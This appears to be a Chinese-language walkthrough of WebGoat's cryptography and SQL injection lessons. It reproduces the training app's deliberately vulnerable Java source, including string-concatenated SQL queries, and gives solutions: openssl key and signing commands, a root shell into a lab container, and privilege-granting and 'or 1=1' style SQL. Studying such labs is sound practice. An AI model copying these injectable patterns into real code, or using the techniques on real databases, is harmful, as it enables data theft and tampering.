HashingAssignment package com.wanan.webgoat.lessons.cryptography;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.http.MediaType;import org.springframework.web.bind.annotation.*;import javax.servlet.http.HttpServletRequest;import javax.xml.bind.DatatypeConverter;import java.security.MessageDigest;import java.security.NoSuchAlgorithmException;import java.sql.DataTruncation;import java.util.Locale;import java.util.Random;@RestController @AssignmentHints({"crypto-hashing.hints.1","crypto-hashing.hints.2"}) public class HashingAssignment extends AssignmentEndpoint { public static final String [] SECRETS = {"secret" ,"admin" ,"password" ,"123456" ,"passw0rd" }; @RequestMapping(path = "/crypto/hashing/md5",produces = MediaType.TEXT_HTML_VALUE) @ResponseBody public String getMd5 (HttpServletRequest request) throws NoSuchAlgorithmException{ String md5Hash = (String) request.getSession().getAttribute("md5Hash" ); if (md5Hash == null ){ String secret = SECRETS[new Random ().nextInt(SECRETS.length)]; MessageDigest md = MessageDigest.getInstance("MD5" ); md.update(secret.getBytes()); byte [] digest = md.digest(); md5Hash = DatatypeConverter .printHexBinary(digest).toUpperCase(); request.getSession().setAttribute("md5Hash" ,md5Hash); request.getSession().setAttribute("md5Secret" ,secret); } return md5Hash; } @RequestMapping(path = "/crypto/hashing/sha256",produces = MediaType.TEXT_HTML_VALUE) @ResponseBody public String getSha256 (HttpServletRequest request) throws NoSuchAlgorithmException{ String sha256 = (String) request.getSession().getAttribute("sha256" ); if (sha256 == null ){ String secret = SECRETS[new Random ().nextInt(SECRETS.length)]; sha256 = getHash(secret,"SHA-256" ); request.getSession().setAttribute("sha256Hash" ,sha256); request.getSession().setAttribute("sha256Secret" ,secret); } return sha256; } @PostMapping("/crypto/hashing") @ResponseBody public AttackResult completed (HttpServletRequest request, @RequestParam String answer_pwd1, @RequestParam String answer_pwd2) { String md5Secret = (String) request.getSession().getAttribute("md5Secret" ); String sha256Secret = (String) request.getSession().getAttribute("sha256Secret" ); if (answer_pwd1 != null && answer_pwd2 != null ){ if (answer_pwd1.equals(md5Secret) && answer_pwd2.equals(sha256Secret)){ return success(this ) .feedback("crypto-hashing.success" ) .build(); }else if (answer_pwd1.equals(md5Secret) || answer_pwd2.equals(sha256Secret)){ return failed(this ).feedback("crypto-hashing.oneok" ).build(); } } return failed(this ).feedback("crypto-hashing.empty" ).build(); } public static String getHash (String secret,String algorithm) throws NoSuchAlgorithmException{ MessageDigest md = MessageDigest.getInstance(algorithm); md.update(secret.getBytes()); byte [] digest = md.digest(); return DatatypeConverter .printHexBinary(digest).toUpperCase(); } }
意思就是让我们解一下明文
SigningAssignment package com.wanan.webgoat.lessons.cryptography;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import lombok.extern.slf4j.Slf4j;import org.springframework.http.MediaType;import org.springframework.web.bind.annotation.*;import javax.servlet.http.HttpServletRequest;import javax.xml.bind.DatatypeConverter;import java.security.InvalidAlgorithmParameterException;import java.security.KeyPair;import java.security.NoSuchAlgorithmException;import java.security.interfaces.RSAPublicKey;@RestController @AssignmentHints({"crypto-signing.hints.1","crypto-signing.hints.2", "crypto-signing.hints.3", "crypto-signing.hints.4"}) @Slf4j public class SigningAssignment extends AssignmentEndpoint { @RequestMapping(path = "/crypto/signing/getprivate",produces = MediaType.TEXT_HTML_VALUE) @ResponseBody public String getPrivateKey (HttpServletRequest request) throws NoSuchAlgorithmException, InvalidAlgorithmParameterException{ String privateKey = (String) request.getSession().getAttribute("privateKeyString" ); if (privateKey == null ){ KeyPair keyPair = CryptoUtil.generateKeyPair(); privateKey = CryptoUtil.getPrivateKeyInPEM(keyPair); request.getSession().setAttribute("privateKeyString" ,privateKey); request.getSession().setAttribute("keyPair" ,keyPair); } return privateKey; } @PostMapping("/crypto/signing/verify") @ResponseBody public AttackResult completed (HttpServletRequest request, @RequestParam String modulus, @RequestParam String signature) { String tempModulus = modulus; KeyPair keyPair = (KeyPair) request.getSession().getAttribute("keyPair" ); RSAPublicKey rsaPublicKey = (RSAPublicKey) keyPair.getPublic(); if (tempModulus.length() == 512 ){ tempModulus = "00" .concat(tempModulus); } if (!DatatypeConverter.printHexBinary(rsaPublicKey.getModulus().toByteArray()).equals(tempModulus.toUpperCase())){ log.warn("modulus {} incorrect" ,modulus); return failed(this ).feedback("crypto-signing.modulusnotok" ).build(); } if (CryptoUtil.verifyAssignment(modulus,signature,keyPair.getPublic())){ return success(this ).feedback("crypto-signing.success" ).build(); }else { log.warn("signature incorrect" ); return failed(this ).feedback("crypto-signing.notok" ).build(); } } }
CryptoUtil package com.wanan.webgoat.lessons.cryptography;import lombok.extern.slf4j.Slf4j;import javax.xml.bind.DatatypeConverter;import java.io.UnsupportedEncodingException;import java.math.BigInteger;import java.nio.charset.Charset;import java.security.*;import java.security.interfaces.RSAPublicKey;import java.security.spec.InvalidKeySpecException;import java.security.spec.PKCS8EncodedKeySpec;import java.security.spec.RSAKeyGenParameterSpec;import java.util.Base64;import java.util.Random;@Slf4j public class CryptoUtil { private static final BigInteger[] FERMAT_PRIMS = { BigInteger.valueOf(3 ), BigInteger.valueOf(5 ), BigInteger.valueOf(17 ), BigInteger.valueOf(257 ), BigInteger.valueOf(65537 ) }; public static KeyPair generateKeyPair () throws NoSuchAlgorithmException, InvalidAlgorithmParameterException { KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA" ); RSAKeyGenParameterSpec kpgSpec = new RSAKeyGenParameterSpec (2048 , FERMAT_PRIMS[new Random ().nextInt(FERMAT_PRIMS.length)]); keyPairGenerator.initialize(kpgSpec); return keyPairGenerator.generateKeyPair(); } public static String getPrivateKeyInPEM (KeyPair keyPair) { String encodedString = "-----BEGIN PRIVATE KEY-----\n" ; encodedString = encodedString + new String (Base64.getEncoder().encode(keyPair.getPrivate().getEncoded()), Charset.forName("UTF-8" )) + "\n" ; encodedString = encodedString + "-----END PRIVATE KEY-----\n" ; return encodedString; } public static String signMessage (String message, PrivateKey privateKey) { log.debug("start signMessage" ); String signature = null ; try { Signature instance = Signature.getInstance("SHA256withRSA" ); instance.initSign(privateKey); instance.update(message.getBytes("UTF-8" )); signature = new String (Base64.getEncoder().encode(instance.sign()), Charset.forName("UTF-8" )); log.info("signe the signature with result:{}" , signature); } catch (NoSuchAlgorithmException e) { log.info("signe the signature with result: {}" , signature); } catch (Exception e) { log.error("Signature signing failed" , e); } log.debug("end signMessage" ); return signature; } public static boolean verifyMessage (String message, String base64EncSignature, PublicKey publicKey) { log.debug("start verifyMessage" ); boolean result = false ; base64EncSignature = base64EncSignature.replace("\r" , "" ) .replace("\n" , "" ) .replace(" " , "" ); byte [] decodedSignature = Base64.getDecoder().decode(base64EncSignature); try { Signature instance = Signature.getInstance("SHA256withRSA" ); instance.initVerify(publicKey); instance.update(message.getBytes("UTF-8" )); result = instance.verify(decodedSignature); log.info("Signature verification failed" , result); } catch (Exception e) { log.error("Signature verification failed" , e); } log.debug("end verifyMessage" ); return result; } public static boolean verifyAssignment (String modulus, String signature, PublicKey publicKey) { boolean result = false ; if (modulus != null && signature != null ) { result = verifyMessage(modulus, signature, publicKey); RSAPublicKey rsaPublicKey = (RSAPublicKey) publicKey; if (modulus.length() == 512 ) { modulus = "00" .concat(modulus); } result = result && (DatatypeConverter.printHexBinary(rsaPublicKey.getModulus().toByteArray()).equals(modulus.toUpperCase())); } return result; } public static PrivateKey getPrivateKeyFromPEM (String privateKeyPem) throws NoSuchAlgorithmException, InvalidKeySpecException { privateKeyPem = privateKeyPem.replace("-----BEGIN PRIVATE KEY-----" , "" ); privateKeyPem = privateKeyPem.replace("-----END PRIVATE KEY-----" , "" ); privateKeyPem = privateKeyPem.replace("\n" , "" ).replace("\r" , "" ); byte [] decoded = Base64.getDecoder().decode(privateKeyPem); PKCS8EncodedKeySpec spec = new PKCS8EncodedKeySpec (decoded); KeyFactory kf = KeyFactory.getInstance("RSA" ); return kf.generatePrivate(spec); } }
打开了题目是给了我们私钥 让我们去提取公钥的模数与签名
将私钥存入文件pri.key
获取对应公钥
openssl rsa -in pri.key -pubout > pub.key rsa 表示采用rsa加密方式 -in 表示添加要加密的文件 -pubout 表示根据提供的私钥,从中提取出公钥 > pub.key 表示提取出来的公钥存入文件pub.key
获取对应的modulus
openssl rsa -in pub.key -pubin -modulus -noout -pubin 表示读取的文件必须是公钥文件 -modulus 表示提取模数 -noout 表示不输出加密的证书内容
获取私钥的签名
echo -n "98039F5125887DFB3C2C1B339AC37ADF21A3B0A57B6103905C2F318191864EFF386EE103625A928CEFECF052BDC887D65EB3505AF55E3E2B13341DD99E29AEF2D27F471B58CA619C5DFDEB57BA9F1A312CDBFEC7E2C5EDE17D8033B2F177B87B3668188B9A57AFFC12BEE4985EC281D51658DAFC097F76762AAEB953232255CAFD0317675F7345364328849C5616FD147E7557BBF4855F11CE634B7A5EE9C5CF0B0FCDC4FB2329C77885A60DE89131EC749BC7423A05BA91114C9D3C730E0B462879F8D783AE068F73CF1EDD0AECFD6B4A15BB1259F23348B36C0A9BCD2FBA1A824CAFDFDC4796E5C1E113B91B0721624AEFC5843D5B836B4797F38FE183040D" | openssl dgst -sign pri.key -sha256 -out sign.sha256 dgst 代表单向加密 -sign 代表使用私钥加密 -sha256 代表加密算法是sha256 -out sign.sha256 代表输出内容到文件
由于是不可见字符 因此我们先进行base64加密
SecureDefaultsAssignment package com.wanan.webgoat.lessons.cryptography;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import java.security.NoSuchAlgorithmException;@RestController @AssignmentHints({"crypto-secure-defaults.hints.1", "crypto-secure-defaults.hints.2", "crypto-secure-defaults.hints.3"}) public class SecureDefaultsAssignment extends AssignmentEndpoint { @PostMapping("/crypto/secure/defaults") @ResponseBody public AttackResult completed (@RequestParam String secretFileName, @RequestParam String secretText) throws NoSuchAlgorithmException{ if (secretFileName != null && secretFileName.equals("default_secret" )){ if (secretText!= null && HashingAssignment.getHash(secretText,"SHA-256" ).equalsIgnoreCase("34de66e5caf2cb69ff2bebdc1f3091ecf6296852446c718e38ebfa60e4aa75d2" )){ return success(this ) .feedback("crypto-secure-defaults.success" ) .build(); }else { return failed(this ).feedback("crypto-secure-defaults.messagenotok" ).build(); } } return failed(this ).feedback("crypto-secure-defaults.notok" ).build(); } }
这里说的挺清楚了 拉下docker 启动下
docker run -d webgoat/assignments:findthesecret
看下容器id 并以root用户进入容器
docker exec -it --user root 8e7bc8220b03 /bin/bash
先到root目录下 接着查看文件名接着解密
echo "U2FsdGVkX199jgh5oANElFdtCxIEvdEvciLi+v+5loE+VCuy6Ii0b+5byb5DXp32RPmT02Ek1pf55ctQN+DHbwCPiVRfFQamDmbHBUpD7as=" | openssl enc -aes-256-cbc -d -a -k ThisIsMySecretPassw0rdF0rY0u
sql_injection introduction SqlInjection package com.wanan.webgoat.lessons.sql_injection.introduction;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class SqlInjection extends Lesson { @Override protected Category getDefaultCategory () { return Category.A3; } @Override public String getTitle () { return "1.sql.injection.title" ; } }
SqlInjectionLesson2 package com.wanan.webgoat.lessons.sql_injection.introduction;import com.wanan.webgoat.container.LessonDataSource;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import javax.xml.transform.Result;import java.sql.ResultSet;import java.sql.SQLException;import java.sql.Statement;import static java.sql.ResultSet.CONCUR_READ_ONLY;import static java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE;@RestController @AssignmentHints(value = {"SqlStringInjectionHint2-1", "SqlStringInjectionHint2-2", "SqlStringInjectionHint2-3", "SqlStringInjectionHint2-4"}) public class SqlInjectionLesson2 extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionLesson2 (LessonDataSource dataSource) { this .dataSource = dataSource; } @PostMapping("/SqlInjection/attack2") @ResponseBody public AttackResult completed (@RequestParam String query) { return injectableQuery(query); } protected AttackResult injectableQuery (String query) { try (var connection = dataSource.getConnection()) { Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE,CONCUR_READ_ONLY); ResultSet results = statement.executeQuery(query); StringBuffer output = new StringBuffer (); results.first(); if (results.getString("department" ).equals("Marketing" )){ output.append("<span class='feedback-positive'>" + query + "</span>" ); output.append(SqlInjectionLesson8.generateTable(results)); return success(this ).feedback("sql-injection.2.success" ).output(output.toString()).build(); }else { return failed(this ).feedback("sql-injection.2.failed" ).output(output.toString()).build(); } } catch (SQLException sqle) { return failed(this ).feedback("sql-injection.2.failed" ) .output(sqle.getMessage()).build(); } } }
SqlInjectionLesson8 package com.wanan.webgoat.lessons.sql_injection.introduction;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import java.sql.ResultSet;import java.sql.ResultSetMetaData;import java.sql.SQLException;public class SqlInjectionLesson8 extends AssignmentEndpoint { public static String generateTable (ResultSet results) throws SQLException{ ResultSetMetaData resultSetMetaData = results.getMetaData(); int numColumns = resultSetMetaData.getColumnCount(); results.beforeFirst(); StringBuilder table = new StringBuilder (); table.append("<table>" ); if (results.next()){ table.append("<tr>" ); for (int i = 1 ; i < (numColumns + 1 );i ++ ){ table.append("<tr>" + resultSetMetaData.getColumnName(i) + "</th>" ); } table.append("</tr>" ); results.beforeFirst(); while (results.next()){ table.append("<tr>" ); for (int i = 1 ;i< (numColumns + 1 ); i++ ){ table.append("<td>" + results.getString(i) + "</td>" ); } table.append("</tr>" ); } }else { table.append("Query Successful; however no data was returned form this query." ); } table.append("</table>" ); return (table.toString()); } }
首先我们需要先理解一下 这个dataSource
首先这里继承了DataSource 接口 这里面有一堆方法 那这些方法是干嘛的呢? 其次仔细看 这里的DataSource 是一个接口啊(接口是不能实例化的) 那接口执行的方法是谁的呢?
可以看到这里传进了一个dataSource方法
这里就比较好玩了 首先这里new了一个DriverManagerDataSource 众所周知 这就代表着父类对象引用指向子类多态,也就是在执行阶段是执行的DriverManagerDataSource()中的方法 那么这样的前提条件就是DriverManagerDataSource 继承了dataSource
这里依次跟过去就很容易发现 确实是这样的
接下来我们看到getConnection() 注意这里的两个getConnection其实并不相同的
进去之后就会跳到 DataSource 里面去 这很明显不可能调用接口的方法的 因此我们从前往后找
这里不存在 不要问为啥找这个类 这个是在运行的时候会调用的 java调用从子到父
这里便存在了
这里就可以理解为进行了连接
这里呢 是什么意思呢 很明显么 这里就是一个动态代理 不明白动态代理的 可以去看我写的反序列cc链的文章
这里简单的读一下这个LessonConnectionInvocationHandler 对象
这里首先继承了 InvocationHandler 类 并且重写了这里的invoke方法,也就是代表当我们执行 任意 targetConnection 的方法之后都会执行 invoke方法 可以看到这里的invoke进行了sql 的初始化操作 完成了一些预定义的命令
这里也说的比较清楚了 目的让我们去检索 bob 的部门
简单写一些sql语句即可完成
select department from Employees where userid= 96134
SqlInjectionLesson3 package com.wanan.webgoat.lessons.sql_injection.introduction;import com.wanan.webgoat.container.LessonDataSource;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import java.sql.Connection;import java.sql.ResultSet;import java.sql.SQLException;import java.sql.Statement;@RestController @AssignmentHints(value = {"SqlStringInjectionHint3-1", "SqlStringInjectionHint3-2"}) public class SqlInjectionLesson3 extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionLesson3 (LessonDataSource dataSource) { this .dataSource = dataSource; } @PostMapping("/SqlInjection/attack3") @ResponseBody public AttackResult completed (@RequestParam String query) { return injectableQuery(query); } protected AttackResult injectableQuery (String query) { try ( Connection connection = dataSource.getConnection()) { try (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY)){ Statement checkStatement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY); statement.executeUpdate(query); ResultSet results = checkStatement.executeQuery("select * from employees where last_name='Barnett'" ); StringBuffer output = new StringBuffer (); results.first(); if (results.getString("department" ).equals("Sales" )){ output.append("<span class='feedback-positive'>" +query + "</span>" ); output.append(SqlInjectionLesson8.generateTable(results)); return success(this ).output(output.toString()).build(); }else { return failed(this ).output(output.toString()).build(); } }catch (SQLException sqle){ return failed(this ).output(sqle.getMessage()).build(); } } catch (Exception e) { return failed(this ).output(this .getClass().getName() + " : " + e.getMessage()).build(); } } }
这里就是将tobi barnett 的部门改了
update Employees set department='Sales' where userid=89762
SqlInjectionLesson4 package com.wanan.webgoat.lessons.sql_injection.introduction;import com.wanan.webgoat.container.LessonDataSource;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import java.sql.Connection;import java.sql.ResultSet;import java.sql.SQLException;import java.sql.Statement;import static java.sql.ResultSet.CONCUR_READ_ONLY;import static java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE;@RestController @AssignmentHints(value = {"SqlStringInjectionHint4-1", "SqlStringInjectionHint4-2", "SqlStringInjectionHint4-3"}) public class SqlInjectionLesson4 extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionLesson4 (LessonDataSource dataSource) { this .dataSource = dataSource; } @PostMapping("/SqlInjection/attack4") @ResponseBody public AttackResult completed (@RequestParam String query) { return injectableQuery(query); } protected AttackResult injectableQuery (String query) { try (Connection connection = dataSource.getConnection()) { try (Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) { statement.executeUpdate(query); connection.commit(); ResultSet results = statement.executeQuery("SELECT phone from employees;" ); StringBuffer output = new StringBuffer (); if (results.first()) { output.append("<span class='feedback-positive'>" + query + "</span>" ); return success(this ).output(output.toString()).build(); } else { return failed(this ).output(output.toString()).build(); } } catch (SQLException sqle) { return failed(this ).output(sqle.getMessage()).build(); } } catch (Exception e) { return failed(this ).output(this .getClass().getName() + " : " + e.getMessage()).build(); } } }
添加一列数据
alter table employees add phone varchar(20)
SqlInjectionLesson5 package com.wanan.webgoat.lessons.sql_injection.introduction;import com.wanan.webgoat.container.LessonDataSource;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import javax.annotation.PostConstruct;import java.sql.Connection;import java.sql.ResultSet;import java.sql.SQLException;import java.sql.Statement;@RestController @AssignmentHints(value = {"SqlStringInjectionHint5-1", "SqlStringInjectionHint5-2", "SqlStringInjectionHint5-3", "SqlStringInjectionHint5-4"}) public class SqlInjectionLesson5 extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionLesson5 (LessonDataSource dataSource) { this .dataSource = dataSource; } @PostConstruct public void createUser () { try (Connection connection = dataSource.getConnection()) { try (var statement = connection.prepareStatement("create user unauthorized_user password test" )){ statement.execute(); } }catch (Exception e){ } } @PostMapping("/SqlInjection/attack5") @ResponseBody public AttackResult completed (String query) { createUser(); return injectableQuery(query); } protected AttackResult injectableQuery (String query) { try (Connection connection = dataSource.getConnection()) { try (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY)){ statement.executeQuery(query); if (checkSolution(connection)){ return success(this ).build(); } return failed(this ).output("Your query was: " + query).build(); } } catch (Exception e) { return failed(this ).output(this .getClass().getName()+ " : " + e.getMessage() + "<br> Your query was: " + query ).build(); } } private boolean checkSolution (Connection connection) { try { var stmt = connection.prepareStatement("select * from information_schema.table_privileges where table_name = ? and grantee = ?" ); stmt.setString(1 ,"GRANT_RIGHTS" ); stmt.setString(2 ,"UNAUTHORIZED_USER" ); var resultSet = stmt.executeQuery(); return resultSet.next(); } catch (SQLException e) { return false ; } } }
这里是进行权限的授予
grant all privileges on grant_rights to unauthorized_user
SqlInjectionLesson5a package com.wanan.webgoat.lessons.sql_injection.introduction;import com.wanan.webgoat.container.LessonDataSource;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import java.sql.*;@RestController @AssignmentHints(value = {"SqlStringInjectionHint5a1"}) public class SqlInjectionLesson5a extends AssignmentEndpoint { private static final String EXPLANATION = "<br> Explanation: This injection works, because <span style=\"font-style: italic\">or '1' = '1'</span> " + "always evaluates to true (The string ending literal for '1 is closed by the query itself, so you should not inject it). " + "So the injected query basically looks like this: <span style=\"font-style: italic\">SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or TRUE</span>, " + "which will always evaluate to true, no matter what came before it." ; private final LessonDataSource dataSource; public SqlInjectionLesson5a (LessonDataSource dataSource) { this .dataSource = dataSource; } @PostMapping("/SqlInjection/assignment5a") @ResponseBody public AttackResult completed (@RequestParam String account, @RequestParam String operator, @RequestParam String injection) { return injectableQuery(account + " " + operator + " " + injection); } protected AttackResult injectableQuery (String accountName) { String query = "" ; try (Connection connection = dataSource.getConnection()) { query = "SELECT * FROM user_data where first_name = 'John' and last_name= '" + accountName + "'" ; try (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY)) { ResultSet results = statement.executeQuery(query); if ((results != null ) && (results.first())) { ResultSetMetaData resultSetMetaData = results.getMetaData(); StringBuffer output = new StringBuffer (); output.append(wirteTable(results, resultSetMetaData)); results.last(); if (results.getRow() >= 6 ) { return success(this ).feedback("sql-injection.5a.success" ).output("Your query was: " + query + EXPLANATION).feedbackArgs(output.toString()).build(); } else { return failed(this ).output(output.toString() + "<br> Your query was: " + query).build(); } } else { return failed(this ).feedback("sql-injection.5a.no.results" ).output("Your query was: " + query).build(); } } } catch (SQLException sqle) { return failed(this ).output(sqle.getMessage() + "<br> Your query was: " + query).build(); } catch (Exception e) { return failed(this ).output(this .getClass().getName() + " : " + e.getMessage() + "<br> Your query was: " + query).build(); } } public static String wirteTable (ResultSet results,ResultSetMetaData resultSetMetaData) throws SQLException{ int numColumns = resultSetMetaData.getColumnCount(); results.beforeFirst(); StringBuffer t = new StringBuffer (); t.append("<p>" ); if (results.next()){ for (int i = 1 ;i<(numColumns + 1 );i++){ t.append(resultSetMetaData.getColumnName(i)); t.append(", " ); } t.append("<br />" ); results.beforeFirst(); while (results.next()){ for (int i = 1 ;i<(numColumns + 1 );i++){ t.append(results.getString(i)); t.append(", " ); } t.append("<br />" ); } }else { t.append("Query Successful;however no data was returned from this query." ); } t.append("</p>" ); return (t.toString()); } }
简单的一个万能密码
SqlInjectionLesson5b package com.wanan.webgoat.lessons.sql_injection.introduction;import com.wanan.webgoat.container.LessonDataSource;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import javax.servlet.http.HttpServletRequest;import java.io.IOException;import java.sql.*;import static java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE;@RestController @AssignmentHints(value = {"SqlStringInjectionHint5b1", "SqlStringInjectionHint5b2", "SqlStringInjectionHint5b3", "SqlStringInjectionHint5b4"}) public class SqlInjectionLesson5b extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionLesson5b (LessonDataSource dataSource) { this .dataSource = dataSource; } @PostMapping("/SqlInjection/assignment5b") @ResponseBody public AttackResult completed (@RequestParam String userid, @RequestParam String login_count, HttpServletRequest request) throws IOException{ return injectalbeQuery(login_count,userid); } protected AttackResult injectalbeQuery (String login_count, String userid) { String queryString = "SELECT * FROM user_data WHERE Login_Count = ? and userid = " +userid; try (Connection connection = dataSource.getConnection()){ PreparedStatement query = connection.prepareStatement(queryString,TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE); int count = 0 ; try { count = Integer.parseInt(login_count); }catch (Exception e){ return failed(this ).output("Could not parse: " +login_count + " to a number" + "<br> Your query was: " +queryString.replace("?" ,login_count)).build(); } query.setInt(1 ,count); try { ResultSet results = query.executeQuery(); if ((results != null )&& (results.first() == true )){ ResultSetMetaData resultSetMetaData = results.getMetaData(); StringBuffer output = new StringBuffer (); output.append(SqlInjectionLesson5a.wirteTable(results,resultSetMetaData)); results.last(); if (results.getRow() >= 6 ){ return success(this ).feedback("sql-injection.5b.success" ).output("You query was: " +queryString.replace("?" ,login_count)).feedbackArgs(output.toString()).build(); }else { return failed(this ).output(output.toString() + "<br> Your query was: " + queryString.replace("?" ,login_count)).build(); } }else { return failed(this ).feedback("sql-injection.5b.no.results" ).output("Your query was: " +queryString.replace("?" ,login_count)).build(); } }catch (SQLException sqle){ return failed(this ).output(sqle.getMessage() + "<br> Your query was: " + queryString.replace("?" ,login_count)).build(); } }catch (Exception e){ return failed(this ).output(this .getClass().getName()+" : " +e.getMessage() + "<br> Your query was: " + queryString.replace("?" ,login_count)).build(); } } }
操作差不多
SqlInjectionLesson8 package com.wanan.webgoat.lessons.sql_injection.introduction;import com.wanan.webgoat.container.LessonDataSource;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import java.sql.*;import java.text.SimpleDateFormat;import java.util.Calendar;@RestController @AssignmentHints(value = {"SqlStringInjectionHint.8.1", "SqlStringInjectionHint.8.2", "SqlStringInjectionHint.8.3", "SqlStringInjectionHint.8.4", "SqlStringInjectionHint.8.5"}) public class SqlInjectionLesson8 extends AssignmentEndpoint { private final LessonDataSource dataSource; public SqlInjectionLesson8 (LessonDataSource dataSource) { this .dataSource = dataSource; } @PostMapping("/SqlInjection/attack8") @ResponseBody public AttackResult completed (@RequestParam String name,@RequestParam String auth_tan) { return injectableQueryConfidentiality(name,auth_tan); } protected AttackResult injectableQueryConfidentiality (String name,String auth_tan) { StringBuffer output = new StringBuffer (); String query = "SELECT * FROM employees WHERE last_name = '" + name + "'AND auth_tan = '" +auth_tan + "'" ; try (Connection connection = dataSource.getConnection()){ try { Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY); log(connection,query); ResultSet results= statement.executeQuery(query); if (results.getStatement() != null ){ if (results.first()){ output.append(generateTable(results)); results.last(); if (results.getRow() > 1 ){ return success(this ).feedback("sql-injection.8.success" ).output(output.toString()).build(); }else { return failed(this ).feedback("sql-injection.8.one" ).output(output.toString()).build(); } }else { return failed(this ).feedback("sql-injection.8.no.results" ).build(); } }else { return failed(this ).build(); } }catch (SQLException e){ return failed(this ).output("<br><span class='feedback-negative'>" + e.getMessage()+"</span>" ).build(); } }catch (Exception e){ return failed(this ).output("<br><span class='feedback-negative'>" +e.getMessage()+"</span>" ).build(); } } public static String generateTable (ResultSet results) throws SQLException{ ResultSetMetaData resultSetMetaData = results.getMetaData(); int numColumns = resultSetMetaData.getColumnCount(); results.beforeFirst(); StringBuilder table = new StringBuilder (); table.append("<table>" ); if (results.next()){ table.append("<tr>" ); for (int i = 1 ; i < (numColumns + 1 );i ++ ){ table.append("<tr>" + resultSetMetaData.getColumnName(i) + "</th>" ); } table.append("</tr>" ); results.beforeFirst(); while (results.next()){ table.append("<tr>" ); for (int i = 1 ;i< (numColumns + 1 ); i++ ){ table.append("<td>" + results.getString(i) + "</td>" ); } table.append("</tr>" ); } }else { table.append("Query Successful; however no data was returned form this query." ); } table.append("</table>" ); return (table.toString()); } public static void log (Connection connection,String action) { action =action.replace('\'' ,'"' ); Calendar cal = Calendar.getInstance(); SimpleDateFormat sdf = new SimpleDateFormat ("yyy-MM-dd HH:mm:ss" ); String time = sdf.format(cal.getTime()); String logQuery = "INSERT INTO access_log (time,action) VALUES ('" +time+"','" +action+"')" ; try { Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_UPDATABLE); statement.executeUpdate(logQuery); } catch (SQLException e) { System.err.print(e.getMessage()); } } }
